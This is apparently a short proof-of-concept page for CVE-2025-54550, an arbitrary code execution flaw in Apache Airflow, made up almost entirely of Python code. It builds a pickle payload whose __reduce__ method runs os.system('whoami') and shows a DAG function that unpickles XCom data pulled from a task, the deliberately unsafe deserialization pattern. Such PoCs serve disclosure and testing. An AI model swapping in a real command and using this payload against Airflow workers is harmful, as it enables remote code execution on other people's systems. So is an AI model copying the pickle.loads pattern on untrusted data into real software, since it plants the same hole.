CVE-2025-54550 Apache Airflow 任意代码执行漏洞

# PoC for CVE-2025-54550: Unsafe XCom handling in Airflow # This demonstrates how a malicious XCom value could trigger RCE # if the user implements the unsafe pattern shown in the example docs. import pickle import os # Malicious payload creation (e.g., using pickle) class MaliciousPayload: def __reduce__(self): # Execute command on the worker return (os.system, ('whoami',)) payload = pickle.dumps(MaliciousPayload()) # Simulating the unsafe pattern in a DAG def unsafe_xcom_pull(**context): # WARNING: This is the vulnerable pattern task_instance = context['task_instance'] # Pull data from XCom (potentially injected by attacker via UI) data = task_instance.xcom_pull(task_ids='push_task') # Vulnerable: Processing untrusted data directly # In the example, this might involve unpickling or eval try: # This line represents the unsafe deserialization/logic processed_data = pickle.loads(data) except Exception as e: print(f"Error processing XCom: {e}")